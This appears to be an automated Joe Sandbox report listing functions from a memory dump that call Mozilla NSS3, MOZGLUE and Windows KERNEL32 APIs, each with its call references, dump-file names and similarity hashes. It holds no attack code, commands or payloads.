realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CB07FFA,?,6CB09767,?,8B7874C0,0000A48E), ref: 6CB1EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CB07FFA,?,6CB09767,?,8B7874C0,0000A48E), ref: 6CB1EE14

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

memcpy.VCRUNTIME140(?,?,6CB09767,00000000,00000000,6CB07FFA,?,6CB09767,?,8B7874C0,0000A48E), ref: 6CB1EE33

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 458ff2be34327e38c2ccefb4982d5be327e2eca3fad59efbe646e57a67f7cb63
Instruction ID: 71f40eb8a2181d6ee82f43415c210034d95626b0860b13d0d9d2612ce4b275c5
Opcode Fuzzy Hash: 458ff2be34327e38c2ccefb4982d5be327e2eca3fad59efbe646e57a67f7cb63
Instruction Fuzzy Hash: 1311CA72A087D6ABDB509E65DC88B4AB7A8FF0435CF104531E919C2E40E330F464C7E2

Function 6CA9DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CAB06A0: TlsGetValue.KERNEL32 ref: 6CAB06C2
Part of subcall function 6CAB06A0: EnterCriticalSection.KERNEL32(?), ref: 6CAB06D6
Part of subcall function 6CAB06A0: PR_Unlock.NSS3 ref: 6CAB06EB

CERT_NewCertList.NSS3 ref: 6CA9DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CA9DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CA9DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA9E029

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 38855752de80567239e119a1a7df081a2e2e8474b3134eb9e9fd38cf1115cd1d
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: F6116B71E54206ABDB100EA85C46BAF76F8BB8035CF080534E91CC7B02EB32C99492E1

Function 6CAB8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAB8DE7
EnterCriticalSection.KERNEL32 ref: 6CAB8DFC
PR_Unlock.NSS3 ref: 6CAB8E2D
PR_SetError.NSS3 ref: 6CAB8E49

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: dd247c9239d6baa5e49c2ca524661644b7806161bf9483f6f5faae44d02b72bf
Instruction ID: f55e7d9d3d0b7688a00722589e13bc95b83380fd92ef3aa489af88e106980d85
Opcode Fuzzy Hash: dd247c9239d6baa5e49c2ca524661644b7806161bf9483f6f5faae44d02b72bf
Instruction Fuzzy Hash: E1118F75605A119FD700AF78D5842ADBBF4FF05754F054929EC8897700E730E894CBD1

Function 6CB3AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CB25F17,?,?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB3AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CB25F17,?,?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB3ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB3ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB3ACDB

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 211f5d9de75c901d6cfa5dc552e4225f032d6eb5d7767469770ac8a430f7bfe1
Instruction ID: c3fa6c26a803d6be8f6a40e700c5f2b2225e140bdb512a5ccc2d4f394d70a374
Opcode Fuzzy Hash: 211f5d9de75c901d6cfa5dc552e4225f032d6eb5d7767469770ac8a430f7bfe1
Instruction Fuzzy Hash: 0E018CB1601B619BEB50DF69ED08743B7E8FF44A99B504839D85EC3A00E730F458CB91

Function 6CAA1DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CAA1DFB

Part of subcall function 6CA995B0: TlsGetValue.KERNEL32(00000000,?,6CAB00D2,00000000), ref: 6CA995D2
Part of subcall function 6CA995B0: EnterCriticalSection.KERNEL32(?,?,?,6CAB00D2,00000000), ref: 6CA995E7
Part of subcall function 6CA995B0: PR_Unlock.NSS3(?,?,?,?,6CAB00D2,00000000), ref: 6CA99605

PR_EnterMonitor.NSS3 ref: 6CAA1E09

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

Part of subcall function 6CA9E190: PR_EnterMonitor.NSS3(?,?,6CA9E175), ref: 6CA9E19C
Part of subcall function 6CA9E190: PR_EnterMonitor.NSS3(6CA9E175), ref: 6CA9E1AA
Part of subcall function 6CA9E190: PR_ExitMonitor.NSS3 ref: 6CA9E208
Part of subcall function 6CA9E190: PL_HashTableRemove.NSS3(?), ref: 6CA9E219
Part of subcall function 6CA9E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA9E231
Part of subcall function 6CA9E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA9E249
Part of subcall function 6CA9E190: PR_ExitMonitor.NSS3 ref: 6CA9E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA1E37
PR_ExitMonitor.NSS3 ref: 6CAA1E4A

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 9ed76cb6d50f75ebe36d67b304083337c75e341429d624b2927f1c279f9a4922
Instruction ID: 042ef2210e1f2c8a6ed4ad7c36719c6681a8509075c9a12e49360306c29e2e7a
Opcode Fuzzy Hash: 9ed76cb6d50f75ebe36d67b304083337c75e341429d624b2927f1c279f9a4922
Instruction Fuzzy Hash: B001D4B1B001A0E7EA205BA5FC40F7677B4AB4175CF180034E62897B61E771EC5ACB91

Function 6CAA1D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA1D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAA1D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CAA1D9C
free.MOZGLUE(00000000), ref: 6CAA1DB8

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: e5feafa9d02aa289e8e1efb7fa5b10cb71c51b54a338a42ab3c473cdadf13b11
Instruction ID: 76c5271775be638f61c28537bb3b4728146d14f8b6afc2cad17104f00c45debf
Opcode Fuzzy Hash: e5feafa9d02aa289e8e1efb7fa5b10cb71c51b54a338a42ab3c473cdadf13b11
Instruction Fuzzy Hash: BAF0F9B6605250A7FF101F996C42B777658DF81B98F140235EF6D47B44D670E48683E1

Function 6CB3AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CB25D40,00000000,?,?,6CB16AC6,6CB2639C), ref: 6CB3AC2D

Part of subcall function 6CADADC0: TlsGetValue.KERNEL32(?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE10
Part of subcall function 6CADADC0: EnterCriticalSection.KERNEL32(?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE24
Part of subcall function 6CADADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CABD079,00000000,00000001), ref: 6CADAE5A
Part of subcall function 6CADADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE6F
Part of subcall function 6CADADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE7F
Part of subcall function 6CADADC0: TlsGetValue.KERNEL32(?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAEB1
Part of subcall function 6CADADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAEC9

PK11_FreeSymKey.NSS3(?,6CB25D40,00000000,?,?,6CB16AC6,6CB2639C), ref: 6CB3AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CB25D40,00000000,?,?,6CB16AC6,6CB2639C), ref: 6CB3AC59
free.MOZGLUE(8CB6FF01,6CB16AC6,6CB2639C,?,?,?,?,?,?,?,?,?,6CB25D40,00000000,?,6CB2AAD4), ref: 6CB3AC62

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 1329be8462e60618d27fa4339b9e110a519a59cf7c211cc7161d3df0f6d5635f
Instruction ID: 7eb3c589e4db47964a3ff0fe6e9b9485135f8074beb13bf234dfce66a4b27df1
Opcode Fuzzy Hash: 1329be8462e60618d27fa4339b9e110a519a59cf7c211cc7161d3df0f6d5635f
Instruction Fuzzy Hash: 810128B56002149BDF10DF55EDC0B467BA8EB88B58F688068E9498F746D735E848CBA2

Function 6CAEFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CA99003,?), ref: 6CAEFD91

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

PORT_Alloc_Util.NSS3(A4686CAF,?), ref: 6CAEFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CAF,?,?), ref: 6CAEFDC4
free.MOZGLUE(00000000,?,?), ref: 6CAEFDD1

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: fbab4dbb37735f6f8ec1366b6e3a1da82e8da73d54eb86fbeac837dec4f8c8e8
Instruction ID: b7c7435fcc4be51d383f61ab3c093744feda32f4e79eab7d9c5e342ac71290cf
Opcode Fuzzy Hash: fbab4dbb37735f6f8ec1366b6e3a1da82e8da73d54eb86fbeac837dec4f8c8e8
Instruction Fuzzy Hash: 14F0FCF16022425BEB004F55FCC0957BF58EF9829DB188138ED198BB01E732D855C7E1

Function 6CBACC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CBACC61
free.MOZGLUE ref: 6CBACC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CBACC80
free.MOZGLUE(?), ref: 6CBACC87

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 1a34f92c2ff6f98c87bbfc137142232f2222cf71ca3a43e110b10e4ecafb2777
Instruction ID: d8d0b7fa0fd10382be35d3f472cd50537223075c66ddfc409e2816c0b26b5ad1
Opcode Fuzzy Hash: 1a34f92c2ff6f98c87bbfc137142232f2222cf71ca3a43e110b10e4ecafb2777
Instruction Fuzzy Hash: 1EE030767006189BCA10EFA8DC448867BACEE4D6B03150525E691C3700D231F905CBA1

Function 6CA89DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CA89E1F

Part of subcall function 6CA413C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CA12352,?,00000000,?,?), ref: 6CA41413
Part of subcall function 6CA413C0: memcpy.VCRUNTIME140(00000000,6CA12352,00000002,?,?,?,?,6CA12352,?,00000000,?,?), ref: 6CA414C0

Strings

ESCAPE expression must be a single character, xrefs: 6CA89F78
LIKE or GLOB pattern too complex, xrefs: 6CA8A006

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 29e644f3f6321f7fbe3d0388012d4d91d2b93e4ee7053e51a3c38be301146964
Instruction ID: bbeeefc811e6255595f6a301c471cd0a8d5a3dbe189dd2eb1dac20a8bddf74f3
Opcode Fuzzy Hash: 29e644f3f6321f7fbe3d0388012d4d91d2b93e4ee7053e51a3c38be301146964
Instruction Fuzzy Hash: 1981E971A063554BDB04CF39C2803A9BBF2AF45318F2C8659D8A99BB81D736DCC6C791

Function 6CAE4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CAE4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CAE4DE6

Strings

%d.%d, xrefs: 6CAE4DDE

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: a00dc45f3256bcfaa01c20661c51ebaadec4080f83db8e4750eaae7da99a7bf0
Instruction ID: 0b1c819a232bf3217272c8b111179b5f4912d4419a6de26a6eb681fe894a0d57
Opcode Fuzzy Hash: a00dc45f3256bcfaa01c20661c51ebaadec4080f83db8e4750eaae7da99a7bf0
Instruction Fuzzy Hash: 60310AB2E002586BEB109BA59C45BFF776CEF44308F050469ED159B781EB309949DBE2

Function 6CB2AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CB2AF78

Part of subcall function 6CA8ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA8ACE2
Part of subcall function 6CA8ACC0: malloc.MOZGLUE(00000001), ref: 6CA8ACEC
Part of subcall function 6CA8ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA8AD02
Part of subcall function 6CA8ACC0: TlsGetValue.KERNEL32 ref: 6CA8AD3C
Part of subcall function 6CA8ACC0: calloc.MOZGLUE(00000001,?), ref: 6CA8AD8C
Part of subcall function 6CA8ACC0: PR_Unlock.NSS3 ref: 6CA8ADC0
Part of subcall function 6CA8ACC0: PR_Unlock.NSS3 ref: 6CA8AE8C
Part of subcall function 6CA8ACC0: free.MOZGLUE(?), ref: 6CA8AEAB

memcpy.VCRUNTIME140(6CBF3084,6CBF02AC,00000090), ref: 6CB2AF94

Strings

SSL, xrefs: 6CB2AF73

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 027cf0ffb64ca2c49267bf937ad146353700c4e3fd6f9374da548ea7f4ba84f7
Instruction ID: f7a277fe31a1e1efa754cc193cdbcbf5193f047904a086847f53f107319a2278
Opcode Fuzzy Hash: 027cf0ffb64ca2c49267bf937ad146353700c4e3fd6f9374da548ea7f4ba84f7
Instruction Fuzzy Hash: 9A214EB2205AC8AADB00DF71B547B327A79B302348B10510AC13E4BB28DB3990499FD7

Function 6CA80F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F1B

Part of subcall function 6CA81370: GetSystemInfo.KERNEL32(?,?,?,?,6CA80936,?,6CA80F20,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000), ref: 6CA8138F

PR_NewLogModule.NSS3(clock,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F25

Part of subcall function 6CA81110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CA80936,00000001,00000040), ref: 6CA81130
Part of subcall function 6CA81110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA80936,00000001,00000040), ref: 6CA81142
Part of subcall function 6CA81110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA80936,00000001), ref: 6CA81167

Strings

clock, xrefs: 6CA80F20

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 459ce762f7e66ba8e191c8eb1f3f4bfd2fd3d350bb05eb56831e9261ceb3de35
Instruction ID: 2dde1b4767baea25bfc693060eb67030854945c4ffa5f46e75edc206a0d24139
Opcode Fuzzy Hash: 459ce762f7e66ba8e191c8eb1f3f4bfd2fd3d350bb05eb56831e9261ceb3de35
Instruction Fuzzy Hash: 91D0123270518857C9116667AC45FB6B6BCD7C3679F105C36E33C42E104A6490DED267

Function 6CAF0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CAF0DF5
TlsGetValue.KERNEL32 ref: 6CAF0E2D
TlsGetValue.KERNEL32 ref: 6CAF0E58
TlsGetValue.KERNEL32 ref: 6CAF0E84

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

